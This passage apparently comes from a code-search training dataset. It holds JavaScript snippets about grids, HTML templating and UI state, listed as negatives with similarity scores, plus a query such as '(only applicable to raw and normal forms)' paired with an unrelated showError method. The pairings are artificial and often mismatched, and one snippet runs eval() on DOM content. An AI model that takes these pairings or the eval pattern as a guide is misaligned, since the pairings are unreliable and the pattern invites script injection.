dealing with.\\r\\n\\t\\t * Element API is described here: https://developer.mozilla.org/en-US/docs/Web/API/Element\\r\\n\\t\\t * API to use:\\r\\n\\t\\t *\\t__hasParentWithAttr(element, attributeName, regexp)\\r\\n\\t\\t * __getAttribute(element, attributeName);\\r\\n\\t\\t *\\r\\n\\t\\t */\\r\\n\\t\\tif(root=__hasParentWithAttr(element, '', //ig))\\r\\n\\t\\t{\\r\\n\\t\\t\\t// TODO\\r\\n\\t\\r\\n\\t\\t\\tvar res = {\\r\\n\\t\\t\\t\\tcancel: false,\\r\\n\\t\\t\\t\\tobject_flavor: 'Grid',\\r\\n\\t\\t\\t\\tobject_name: _getName(root),\\r\\n\\t\\t\\t\\tobject_type: 'DomCustomGrid',\\r\\n\\t\\t\\t\\tdescription: 'TODO Action description',\\r\\n\\t\\t\\t\\tlocator_data: \\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\txpath: SeS_GenerateXPath(root)\\r\\n\\t \\t\\t}\\r\\n\\t\\t\\t};\\r\\n\\t\\r\\n\\t\\t\\t// Learn\\r\\n\\t\\t\\trvalue.result = res;\\r\\n\\t\\t\\trvalue.root = root;\\r\\n\\t\\t\\trvalue.rcode = R_OBJECT_FOUND;\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tif(evt == \\\"resolveElementDescriptor\\\")\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tres.rect = __getElementRect(root);\\r\\n\\t\\t\\t\\tres.action = undefined;\\r\\n\\t\\t\\t\\treturn rvalue;\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tif (evt == \\\"Click\\\")\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tvar cell = _getCell(element);\\r\\n\\t\\t\\t\\tif (cell)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tvar actionClick = {\\r\\n\\t\\t\\t\\t\\t\\t\\tname: \\\"ClickCell\\\",\\r\\n\\t\\t\\t\\t\\t\\t\\tdescription: \\\"Click cell in a grid\\\",\\r\\n\\t\\t\\t\\t\\t\\t\\tparams: [cell.row, cell.col]\\r\\n\\t\\t\\t\\t\\t\\t};\\t\\r\\n\\t\\t\\t\\t\\tres.action = actionClick;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\t\\t\\t\\t\\r\\n\\t\\t\\r\\n\\t\\t\\t// Actions \\r\\n\\t\\t\\trvalue.rcode = R_ACTION_FOUND;\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn rvalue;\\r\\n\\t}\",\n \"GetGraphFromHTML() {\\n var mydiv = document.getElementById(\\\"mygraphdata\\\");\\n var graph_as_string = mydiv.innerHTML;\\n let graph = eval(graph_as_string);\\n return graph;\\n }\",\n \"htmlForStatus() {\\nvar html;\\n//----------\\nreturn html = `\\n\\nStatus:\\n\\n `;\\n}\",\n \"function social_curator_grid_post_loaded(data, element){}\",\n \"function getGridCellDev(grid, row, col)\\n{\\n // IGNORE IF IT'S OUTSIDE THE GRID\\n if (!isValidCellDev(row, col))\\n {\\n return -1;\\n }\\n var index = (row * gridWidthDev) + col;\\n return grid[index];\\n}\",\n \"generateGridRows() {\\n // Object to store the tiles\\n let grid_rows = []\\n let grid_ind = 1\\n // For each row\\n for (let row = 1; row <= 4; row++) {\\n let col_grids = []\\n //For each column\\n for (let col = 1; col <= 4; col++) {\\n // Referred to reactjs documentation for handle click\\n let id = grid_ind++\\n // To assign class based on state\\n // Useful for styling\\n let classVar = this.state.tileData[id]['status'] == 'hide' ? '' : 'tile-' + this.state.tileData[id]['status']\\n col_grids.push( {\\n this.handleClick(id)\\n }}>{this.state.tileData[id]['status'] != 'hide'\\n ? this.state.tileData[id]['letter'] : ''})\\n }\\n grid_rows.push({col_grids})\\n }\\n return grid_rows\\n }\",\n \"function loadGrid() {\\n \\n }\",\n \"function getTemplate(winNo) {\\n var str =\\n '
    ' +\\n '
    ' +\\n ' ' + VIS.Msg.getMsg(\\\"ViewMore\\\") + ' ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n ' ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n ' ' +\\n ' ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n ' ' +\\n ' ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n ' ' + VIS.Msg.getMsg(\\\"Add\\\") + ' ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ' +\\n '
    ';\\n return str;\\n }\",\n \"_parseHTML(htmlString) {\\n //current xpath is body.div[i].table.tbody.tr[j].td[1-5]\\n let cleanedHtmlString = htmlString.replace(/(\\\\\\\\t|\\\\\\\\n|&nbsp;)/gi,'');\\n let root = htmlParser.parse(htmlString);\\n let divs = root.querySelectorAll('div');\\n if (divs) {\\n for (let div of divs) {\\n let table = div.querySelector('table');\\n if (!table) {\\n continue;\\n }\\n\\n let tbody = table.querySelector('tbody');\\n if (!tbody) {\\n continue;\\n }\\n\\n let rows = tbody.querySelectorAll('tr');\\n if (!rows) {\\n continue;\\n }\\n for (let row of rows) {\\n let cols = row.querySelectorAll('td');\\n //take 5 cols from here\\n this._data.add(cols[0].rawText, cols[1].rawText, cols[2].rawText, cols[4].rawText);\\n }\\n }\\n }\\n }\",\n \"getHTML() {\\n const l = this.strings.length - 1;\\n let html = '';\\n let isTextBinding = true;\\n for (let i = 0; i < l; i++) {\\n const s = this.strings[i];\\n html += s;\\n // We're in a text position if the previous string closed its tags.\\n // If it doesn't have any tags, then we use the previous text position\\n // state.\\n const closing = findTagClose(s);\\n isTextBinding = closing > -1 ? closing < s.length : isTextBinding;\\n html += isTextBinding ? nodeMarker : marker;\\n }\\n html += this.strings[l];\\n return html;\\n }\",\n \"get cellTagName() {\\n return 'div';\\n }\",\n \"function lightCell(str){\\n if ( convertRow(str) <= countRows() && convertColumn(str) <= countColumns() ) {\\n return GRID[convertRow(str)][convertColumn(str)];\\n } else {\\n return false;\\n }\\n}\",\n \"function _getWebComponentsState() {\\r\\n // is mostly valid (css)\\r\\n //import feature is not always enabled\\r\\n const _imp = 'import' in document.createElement('link');\\r\\n const _tmp = !(document.createElement('template')\\r\\n instanceof HTMLUnknownElement);\\r\\n return Object.freeze({\\r\\n import: _imp,\\r\\n template: _tmp,\\r\\n isError: (!_imp || !_tmp)\\r\\n });\\r\\n }\",\n \"function gridMap() {\\n return {\\n top_left: { _cx_cy_index: 4, drag_index : [ 2, 3, 4 ] },\\n bottom_left: { _cx_cy_index : 3, drag_index : [ 1, 4, 3 ] },\\n top_right: { _cx_cy_index : 2, drag_index : [ 4, 1, 2 ] },\\n bottom_right: { _cx_cy_index : 1, drag_index : [ 3, 2, 1 ] }\\n };\\n }\",\n \"getGridColumnIndex(){return this.__gridColumnIndex}\",\n \"function Grid() {\\n /* public properties */\\n //是否能够多选行\\n this.multiple = true;\\n //排序列,内部用\\n this.sortCol = -1;\\n //降序排序\\n this.sortDescending = 0;\\n //错误信息\\n this.error = '';\\n //已选择的行数组\\n this.selectedRows = [];\\n //奇偶行是否用不同颜色显示,此开关打开时,添加删除行ie会自动关闭,原因目前不明\\n this.colorEvenRows = true;\\n //列是否允许调整宽度\\n this.resizeColumns = true;\\n //表体body列是否随表头head列的宽度实时调整列宽\\n this.bodyColResize = true;\\n //用户定义的对象变量名的字符串形式\\n this.selfName = '';\\n //是否排序开关\\n this.sortFlag = true;\\n //显示右键菜单\\n this.showMenu = false;\\n //是否能增减行,只控制键盘事件和右键菜单\\n this.addSubRow = false;\\n //序号的起始数\\n this.startNum = 1\\n //用户输入数据错误标志,\\n this.inputError = false;\\n //grid是否可编辑,该标志由程序更加html代码设置,用于对编辑快捷键的控制\\n this.editFlag = false;\\n //在grid最后一个编辑框失去焦点时,页面焦点聚到grid外的其他元素上\\n this.nextFocus = null;\\n //设置gird的高度为 maxViewRow行记录,不设置,默认高度按container高度走\\n this.maxViewRow = -1\\n //对gird的单元格统一加的累计宽度值\\n this.widthAddValue = 20;\\n //排序类型,数组,存放类型有'String','Number','None','Date','CaseInsensitiveString'\\n this.sortTypes =[];\\n //数据列的显示位置,页面用户将要排序的列序号(从0开始)作为数组传入,没有传入的列序号,将(通过把列宽置为0)被隐藏\\n //如:o.colPos=[0,4,3,2]\\n // o.colPos=[4,2,3,1]\\n // 注意:1.在o.bind(...)调用之前对此赋值,不需要排序和隐藏列的功能不要赋值此属性\\n // 2.列号一定要在 0 和 列数减一 之间,grid对此不校验,可能会出错。\\n this.colPos = [];\\n //添加行时,是否复制上一行的数据。ture-复制,false-不复制,默认false\\n this.isAddRowWithData=false;\\n //新增行时按照哪一行(首行或末行或选择的行的第一行)进行复制 (默认按首行复制)\\n // false -首行复制 ; true - 末行复制 ;null - 按选择行复制(如果选择多行,复制选择的第一行,没选择行 则复制首行)\\n //此参数在o.bind前后都可以设置。\\n this.isAddRowWithLast = false;\\n //在设置完只读单元格后,当前的编辑框是否下移到下一个可编辑框上,默认为移动\\n this.isMoveFocusAfterSetReadOnly = true;\\n //哪些列是多行select ,如:o.mutiSelectPos=[2,3]\\n this.mutiSelectPos = [];\\n\\n /* events */\\n this.onresize = null;\\n this.onsort = null;\\n this.onselect = null;\\n this.onAddRow = null;\\n this.onRemoveRow = null;\\n this.onGridBlur = null; //Grid失去焦点时触发函数, Added by likey, Date: 2006-04-20\\n\\n\\n /* private properties */\\n //Container容器\\n this._eCont = null;\\n //Head 容器\\n this._eHead = null;\\n //left 容器\\n this._eLeft = null;\\n //body 容器\\n this._eBody = null;\\n //head 表格\\n this._eHeadTable = null;\\n //left 表格\\n this._eLeftTable = null;\\n //body 表格\\n this._eBodyTable = null;\\n //head 列集合\\n this._eHeadCols = null;\\n //暂时为1列\\n this._eLeftCols = null;\\n //body 的列集合\\n this._eBodyCols = null;\\n //用于调整Left行高\\n this._eBodyRows = null;\\n\\n //当前处于编辑状态的单元格\\n this._eEditTd = null;\\n //第一个可编辑td\\n this._eFistEditTd = null;\\n //内部用的全局变量,用于左右键移动单元格的递归函数调用中\\n this.__tempTd = null;\\n //上次施动者td\\n this._preLinkerTd = null;\\n\\n //右键菜单\\n this._eMenu = null;\\n\\n this._eDataTable = null;\\n //保存列的一些设置数据信息的数组\\n this._eDataCols = null;\\n\\n this._activeHeaders = null;\\n this._rows = 0;\\n this._cols = 0;\\n\\n this._defaultLeftWidth = 40;\\n\\n}\",\n \"function stateCheck() {\\n var stateLog = document.querySelector(\\\".state\\\");\\n var state = response.regionName;\\n console.log(state);\\n\\n stateLog.innerHTML += state;\\n }\",\n \"function getPopupFormState()\\n {\\n var state = new Object();\\n var elms;\\n if(isParameterizedPopup && popupFormName!=null)\\n elms = popupFormName.elements;\\n else\\n elms = popupDiv.getElementsByTagName(\\\"*\\\");\\n var len = elms.length;\\n for (var i = 0; i < len; i++)\\n {\\n var element = elms[i];\\n //bug18449628 \\n if (element && element.tagName != \\\"IMG\\\")\\n {\\n var name = element.name;\\n if (name)\\n {\\n // Skip over hidden values\\n var elmType = element.type;\\n if (!elmType || (elmType != 'hidden'))\\n state[name] = _getValue(element);\\n }\\n }\\n }\\n return state;\\n }\",\n \"getState(board){\\r\\n return this.fenToArray(this.game.fen())\\r\\n }\",\n \"function saveState(){\\n var grid = gridState();\\n var state = {grid:grid};\\n state.level = $('#level').val();\\n state.variant = options.variant;\\n $.bbq.pushState(state);\\n }\",\n \"function _getElements() {\\n\\tif(_store){\\n if (_isSubpageOpened()) {\\n return _store.getState().secondLevelPage.elements;\\n }\\n return _store.getState().elements;\\n\\t}\\n }\",\n \"function getStateFromUi() {\\n \\n var state = {\\n tab: getSelectedTab(),\\n selectedPeriodOffset: getSelectedPeriodOffset(),\\n selectedGroup: getSelectedGroup(),\\n selectedIndividual: getSelectedIndividual()\\n };\\n \\n if(state.selectedIndividual !== null) {\\n state.mode = MODE.INDIVIDUAL;\\n } else if(state.selectedIndividual === null && state.selectedGroup !== null) {\\n state.mode = MODE.GROUP;\\n } else {\\n state.mode = MODE.FLEET;\\n }\\n \\n return state;\\n }\",\n \"function getDeviceState() {\\n var state = window.getComputedStyle(\\n document.querySelector('.state-indicator'), ':before'\\n ).getPropertyValue('content')\\n\\n state = state.replace(/\\\"/g, \\\"\\\");\\n state = state.replace(/'/g, \\\"\\\"); //fix for update in chrome which returns ''\\n\\n return state; //need to replace quotes to support mozilla - which returns a string with quotes inside.\\n\\n}\",\n \"function generateGrid() {\\n gameBoard.childNodes[1].innerText = `It's ${game.turn.token}'s turn`;\\n var grid = gameBoard.childNodes[3];\\n grid.innerHTML = '';\\n for (var i = 0; i < 9; i++) {\\n gridIndex = i;\\n grid.innerHTML += `\\n
    \\n
    \\n `\\n }\\n game.resetGame();\\n persistWins();\\n}\",\n \"function createGrid() {\\n let board = document.getElementById(\\\"board\\\");\\n let tableHTML = \\\"\\\";\\n for (let r = 0; r < height; r++) {\\n let currentArrayRow = [];\\n let currentHTMLRow = ``;\\n for (let c = 0; c < width; c++) {\\n let newNodeId = `${r}-${c}`;\\n let newNodeClass = \\\"unvisited\\\";\\n currentHTMLRow += ``;\\n }\\n currentHTMLRow += ``;\\n tableHTML += currentHTMLRow;\\n }\\n board.innerHTML = tableHTML;\\n}\",\n \"function getStates(game) {\\n\\n}\",\n \"function draw_grid_html(grid,n,id){\\n var html = ''\\n var grid_center = grid[(grid.length-1)/2];\\n html += '
    Grid build of '+ n + ' blocks with center ' + grid_center + ' blocks high
    ';\\n html += '
    ['+ grid.toString() + '] = ' + grid.reduce(function(a,b){return a+b;}) + ' blocks
    ';\\n html += '
    '\\n for(var x = 0; x < grid.length; x++){\\n var column = '
    ';\\n for (var b=1; b <= grid[x]; b++){\\n column += '
    ';\\n }\\n column +='
    ';\\n html += column;\\n }\\n html += '
    ';\\n document.getElementById(id).innerHTML = html;\\n\\n return html;\\n}\",\n \"function renderGrid() {\\n let { C, cols, rows, px, grid_color, render_border } = state\\n C.gx.clearRect(\\n -render_border,\\n -render_border,\\n C.gx.canvas.width,\\n C.gx.canvas.height\\n )\\n C.gx.strokeStyle = grid_color\\n C.gx.lineWidth = 1\\n C.gx.strokeRect(0.5, 0.5, sub(mul(cols, px), 1), sub(mul(rows, px), 1))\\n C.gx.lineWidth = 2\\n for (let c = 1; c < state.cols; c++) {\\n C.gx.beginPath()\\n C.gx.moveTo(mul(c, px), 0)\\n C.gx.lineTo(mul(c, px), mul(rows, px))\\n C.gx.stroke()\\n }\\n for (let r = 1; r < state.rows; r++) {\\n C.gx.beginPath()\\n C.gx.moveTo(0, mul(r, px))\\n C.gx.lineTo(mul(cols, px), mul(r, px))\\n C.gx.stroke()\\n }\\n}\",\n \"getHTML() {\\n const l = this.strings.length - 1;\\n let html = '';\\n let isTextBinding = true;\\n for (let i = 0; i < l; i++) {\\n const s = this.strings[i];\\n html += s;\\n // We're in a text position if the previous string closed its tags.\\n // If it doesn't have any tags, then we use the previous text position\\n // state.\\n const closing = findTagClose(s);\\n isTextBinding = closing > -1 ? closing < s.length : isTextBinding;\\n html += isTextBinding ? nodeMarker : marker;\\n }\\n html += this.strings[l];\\n return html;\\n }\",\n \"getRow(n) {\\n return this.grid[n];\\n }\",\n \"function renderGrid(grid) {\\r\\n let modules = grid.modules;\\r\\n let svg = document.getElementById('root');\\r\\n let i;\\r\\n\\r\\n for (i = 0; i < modules.length; i++) {\\r\\n svg.appendChild(createModule(modules[i], svg.namespaceURI));\\r\\n }\\r\\n}\",\n \"_parseContent(item) {\\n const textFieldClass = this.getCSS(this._data.mode, \\\"textField\\\");\\n return item.querySelector(`.${textFieldClass}`).innerHTML;\\n }\",\n \"async getSingleMarkup() {\\n return ` \\n
    \\n

    ${this.name}

    \\n \\n
    \\n
    \\n
    \\n
    \\n ${window.Core.checkFirstBreadcrumb()} > \\n ${this.name}\\n
    \\n
    \\n

    ${window.Core.t(\\\"country\\\")}${this.country}

    \\n

    ${window.Core.t(\\\"nickname\\\")}${this.nickname}

    \\n
    \\n
    \\n \\n
    \\n
    \\n

    ${window.Core.t(\\\"visithotelsheader\\\")}

    \\n
    `;\\n }\",\n \"function getState() {\\n return window.stokr.model.getState();\\n }\",\n \"function getCurrentBoard(){\\n\\t\\t\\tvar $rows = $el.find('.panel-row');\\n\\t\\t\\tvar currentBoard = [];\\n\\t\\t\\t\\n\\t\\t\\t$.each( $rows, function(){\\n\\t\\t\\t\\tvar $row = $(this);\\n\\t\\t\\t\\tvar $panels = $row.find('.top .stationary-panel span');\\n\\t\\t\\t\\tvar panelVals = [];\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t$.each( $panels, function(){\\n\\t\\t\\t\\t\\tvar $panel = $(this);\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tpanelVals.push( $panel.text() );\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tcurrentBoard.push( panelVals );\\n\\t\\t\\t});\\n\\t\\t\\t\\n\\t\\t\\treturn currentBoard;\\n\\t\\t}\",\n \"function displayWinState() {\\n // Set the win state styling on all of the cells\\n $('.content').addClass('winstate');\\n // Make the win state div visible\\n $('#solved').removeClass('hidden');\\n }\",\n \"function $3gv(){\\n var readyStateDone$=new $3gv.$$;ReadyState(4,readyStateDone$);\\n return readyStateDone$;\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6115273","0.5874661","0.5821485","0.5768903","0.5744697","0.57446486","0.5667717","0.5627815","0.5625856","0.55612373","0.5547919","0.54730815","0.5395059","0.53842986","0.5363936","0.5337135","0.53354484","0.5299901","0.52846044","0.52349216","0.52164143","0.5214967","0.5207256","0.51944715","0.5186086","0.5181298","0.5152873","0.51385415","0.5117867","0.5110878","0.50963235","0.506584","0.5059069","0.5054729","0.50518936","0.50391144","0.5035484","0.50307393","0.49407017","0.49399582","0.49229738","0.49126834","0.49084532","0.49034274","0.48847023","0.4879218","0.48758888","0.48531014","0.48430118","0.483426","0.48283967","0.4815245","0.48109084","0.48071927","0.48065916","0.4803267","0.48010173","0.4800265","0.47917172","0.47847798","0.4784675","0.4776392","0.47545776","0.4745077","0.47450468","0.4740537","0.47347835","0.47315022","0.47274947","0.47188166","0.4711711","0.47050765","0.47004396","0.46976703","0.46959013","0.46931154","0.46866855","0.46856898","0.46855694","0.46839434","0.4676958","0.46725163","0.46544728","0.46494946","0.46428958","0.4638598","0.46360683","0.46345854","0.46323818","0.46310177","0.46305767","0.4627041","0.46246287","0.462108","0.46113282","0.4607924","0.46050745","0.4601773","0.45988986","0.45954642"],"string":"[\n \"0.6115273\",\n \"0.5874661\",\n \"0.5821485\",\n \"0.5768903\",\n \"0.5744697\",\n \"0.57446486\",\n \"0.5667717\",\n \"0.5627815\",\n \"0.5625856\",\n \"0.55612373\",\n \"0.5547919\",\n \"0.54730815\",\n \"0.5395059\",\n \"0.53842986\",\n \"0.5363936\",\n \"0.5337135\",\n \"0.53354484\",\n \"0.5299901\",\n \"0.52846044\",\n \"0.52349216\",\n \"0.52164143\",\n \"0.5214967\",\n \"0.5207256\",\n \"0.51944715\",\n \"0.5186086\",\n \"0.5181298\",\n \"0.5152873\",\n \"0.51385415\",\n \"0.5117867\",\n \"0.5110878\",\n \"0.50963235\",\n \"0.506584\",\n \"0.5059069\",\n \"0.5054729\",\n \"0.50518936\",\n \"0.50391144\",\n \"0.5035484\",\n \"0.50307393\",\n \"0.49407017\",\n \"0.49399582\",\n \"0.49229738\",\n \"0.49126834\",\n \"0.49084532\",\n \"0.49034274\",\n \"0.48847023\",\n \"0.4879218\",\n \"0.48758888\",\n \"0.48531014\",\n \"0.48430118\",\n \"0.483426\",\n \"0.48283967\",\n \"0.4815245\",\n \"0.48109084\",\n \"0.48071927\",\n \"0.48065916\",\n \"0.4803267\",\n \"0.48010173\",\n \"0.4800265\",\n \"0.47917172\",\n \"0.47847798\",\n \"0.4784675\",\n \"0.4776392\",\n \"0.47545776\",\n \"0.4745077\",\n \"0.47450468\",\n \"0.4740537\",\n \"0.47347835\",\n \"0.47315022\",\n \"0.47274947\",\n \"0.47188166\",\n \"0.4711711\",\n \"0.47050765\",\n \"0.47004396\",\n \"0.46976703\",\n \"0.46959013\",\n \"0.46931154\",\n \"0.46866855\",\n \"0.46856898\",\n \"0.46855694\",\n \"0.46839434\",\n \"0.4676958\",\n \"0.46725163\",\n \"0.46544728\",\n \"0.46494946\",\n \"0.46428958\",\n \"0.4638598\",\n \"0.46360683\",\n \"0.46345854\",\n \"0.46323818\",\n \"0.46310177\",\n \"0.46305767\",\n \"0.4627041\",\n \"0.46246287\",\n \"0.462108\",\n \"0.46113282\",\n \"0.4607924\",\n \"0.46050745\",\n \"0.4601773\",\n \"0.45988986\",\n \"0.45954642\"\n]"},"document_score":{"kind":"string","value":"0.57623345"},"document_rank":{"kind":"string","value":"4"}}},{"rowIdx":32,"cells":{"query":{"kind":"string","value":"(only applicable to raw and normal forms)"},"document":{"kind":"string","value":"showError(message){\n\t\t\n\t\tthis.setState({ message: message });\n\t\tthis.setState({ loggedIn: false });\n\t\tthis.setState({ messageclass: 'alert alert-danger' });\n\t\t\n\t}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["set Raw(value) {}","get Raw() {}","function Raw(){}","get raw() { return this._raw; }","get raw() { return this._raw; }","callSite(values, raw) {\n\n values.raw = raw || values;\n return values;\n }","protected internal function m252() {}","get normalized() {}","async normalize () {\n\t}","function normal() {}","get type() {\n return 'raw';\n }","set normal(value) {}","set normal(value) {}","_encodeObject(object) {\n return object.termType === 'Literal' ? this._encodeLiteral(object) : this._encodeIriOrBlank(object);\n }","function customHandling() { }","set normalized(value) {}","transient private protected internal function m182() {}","function Surrogate(){}","function Surrogate(){}","function Surrogate(){}","get Normal() {}","transient protected internal function m189() {}","static getRawObject(data) {\n if (data && typeof data.toObject === 'function') {\n return data.toObject();\n }\n return data;\n }","getRawInput(start, end) {\n\t\t\treturn this.input.slice(start.valueOf(), end.valueOf());\n\t\t}","get normal() {}","get normal() {}","function Bind_Oliteral() {\r\n}","function r(e){return\"string\"==typeof e}","function r(e){return\"string\"==typeof e}","function set_raw(env) {\n\tenv._cmeta.raw = true;\n}","function Surrogate() {}","private public function m246() {}","function notValid_anySimpleType(strObj) {\n\treturn false;\n }","function validDataFormat(raw_data) {\n return true;\n }","function decodeRaw(value, position) {\n return entities(value, {\n position: normalize(position),\n warning: handleWarning\n });\n }","function decodeRaw(value, position) {\n return entities(value, {\n position: normalize(position),\n warning: handleWarning\n });\n }","set Normal(value) {}","transient private internal function m185() {}","function handle_entity( raw ) {\n raw = _.isObject( raw ) ? raw : {}\n \n if( raw.entity$ ) {\n return seneca.make$( raw )\n }\n else {\n _.each( raw, function(v,k) {\n if( _.isObject(v) && v.entity$ ) {\n raw[k] = seneca.make$( v )\n }\n })\n return raw\n }\n }","static get sanitize() {\n return {\n title: false,\n text: {\n br: true,\n a: { href: true },\n b: true,\n i: true,\n },\n action: false,\n link: false,\n }\n }","function inflateRaw(input,options){options=options||{};options.raw=true;return inflate$1(input,options);}","function Bind_A_Oliteral() {\r\n}","function freezeRaw(raw) {\n if (Array.isArray(raw)) {\n return Array.prototype.slice.call(raw);\n }\n return raw;\n }","transient final protected internal function m174() {}","raw() {\n return this.data;\n }","formatToPrimitive(entity, args) {\n // optimize entities which are simple strings by skipping resultion\n if (typeof entity === 'string') {\n return [entity, []];\n }\n\n // optimize entities with null values and no default traits\n if (!entity.val && entity.traits && !(entity.traits.some(t => t.def))) {\n return [null, []];\n }\n\n const result = format(this, args, entity, optsPrimitive);\n return (result[0] instanceof FTLNone) ?\n [null, result[1]] : result;\n }","obtain(){}","function VIEWAS_boring_default(obj) {\n //tabulator.log.debug(\"entered VIEWAS_boring_default...\");\n var rep; //representation in html\n\n if (obj.termType == 'literal')\n {\n var styles = { 'integer': 'text-align: right;',\n 'decimal': 'text-align: \".\";',\n 'double' : 'text-align: \".\";',\n };\n rep = myDocument.createElement('span');\n rep.textContent = obj.value;\n // Newlines have effect and overlong lines wrapped automatically\n var style = '';\n if (obj.datatype && obj.datatype.uri) {\n var xsd = tabulator.ns.xsd('').uri;\n if (obj.datatype.uri.slice(0, xsd.length) == xsd)\n style = styles[obj.datatype.uri.slice(xsd.length)];\n }\n rep.setAttribute('style', style ? style : 'white-space: pre-wrap;');\n\n } else if (obj.termType == 'symbol' || obj.termType == 'bnode') {\n rep = myDocument.createElement('span');\n rep.setAttribute('about', obj.toNT());\n thisOutline.appendAccessIcons(kb, rep, obj);\n\n if (obj.termType == 'symbol') {\n if (obj.uri.slice(0,4) == 'tel:') {\n var num = obj.uri.slice(4);\n var anchor = myDocument.createElement('a');\n rep.appendChild(myDocument.createTextNode(num));\n anchor.setAttribute('href', obj.uri);\n anchor.appendChild(tabulator.Util.AJARImage(tabulator.Icon.src.icon_telephone,\n 'phone', 'phone '+num,myDocument))\n rep.appendChild(anchor);\n anchor.firstChild.setAttribute('class', 'phoneIcon');\n } else { // not tel:\n rep.appendChild(myDocument.createTextNode(tabulator.Util.label(obj)));\n }\n } else { // bnode\n rep.appendChild(myDocument.createTextNode(tabulator.Util.label(obj)));\n }\n } else if (obj.termType=='collection'){\n // obj.elements is an array of the elements in the collection\n rep = myDocument.createElement('table');\n rep.setAttribute('about', obj.toNT());\n /* Not sure which looks best -- with or without. I think without\n\n var tr = rep.appendChild(document.createElement('tr'));\n tr.appendChild(document.createTextNode(\n obj.elements.length ? '(' + obj.elements.length+')' : '(none)'));\n */\n for (var i=0; i decode(input).mapLeft(Error).unsafeCoerce(),\r\n schema: schema !== null && schema !== void 0 ? schema : (() => ({}))\r\n };\r\n }","function isRawPostcodeObject(o, additionalAttr, blackListedAttr) {\n\tif (!additionalAttr) additionalAttr = [];\n\tif (!blackListedAttr) blackListedAttr = [];\n\tisSomeObject(o, rawPostcodeAttributes, additionalAttr, blackListedAttr);\n}","function w(e) {\n var t = C(e);\n switch (t) {\n case \"array\":\n case \"object\":\n return \"an \" + t;\n\n case \"boolean\":\n case \"date\":\n case \"regexp\":\n return \"a \" + t;\n\n default:\n return t;\n }\n }","function processRaw(raw, type, lastModified, cb) {\n var json;\n try {\n switch (type.slice(0, 1)) {\n case 'x':\n // json = xml2json.toJson(raw, { object: true, coerce: true, trim: true, sanitize: false, reversible: true });\n break;\n case 'h':\n\n xray(raw, 'li.shopBrandItem', [{\n name: 'a',\n url: 'a@href',\n }])\n (function(err, data) {\n if (err) {\n console.log('Error: ' + err);\n } else {\n // console.log(data);\n json = data;\n }\n });\n\n break;\n case 'j':\n json = JSON.parse(raw);\n break;\n default:\n json = {\n text: '' + raw\n };\n }\n } catch (e) {\n return cb(tidyError(e));\n }\n\n cb(null, json, lastModified || 0);\n }","get interpretation () {\r\n\t\treturn this._interpretation;\r\n\t}","function oi(a){this.Of=a;this.rg=\"\"}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","raw() {\n\t\treturn this[MAP];\n\t}","function PlatForm() {}","function stringRepresentation(value) {\n switch (value[0]) {\n case \"Num\": \n\treturn getNumValue(value);\n case \"Clo\":\n\treturn;\n }\n}","function s(e){return e}","process(raw_item) {\n return raw_item;\n }","function isRaw(cell) {\n return cell.cell_type === 'raw';\n }","function w(e) {\n var t = C(e);\n switch (t) {\n case \"array\":\n case \"object\":\n return \"an \" + t;\n\n case \"boolean\":\n case \"date\":\n case \"regexp\":\n return \"a \" + t;\n\n default:\n return t;\n }\n }","function nonvalidatedObject() {\n var str = gAppState.checkValue(\"objectID\", \"objectID2\");\n\n if (regexp.test(str) && !isBlankNode(str)) {\n return '<' + str + '>'; // Case: input is a uri. Solution: quote it\n } else if (str.charAt(0) == \"#\") {\n return '<' + str + '>'; // Case: input is an unquoted relative uri. Solution: quote it\n } else if (str.charAt(0) == '<' && str.charAt(1) == '#' && str.charAt(str.length - 1) == '>') {\n return str; // Case: input is already a relative uri. Solution: return 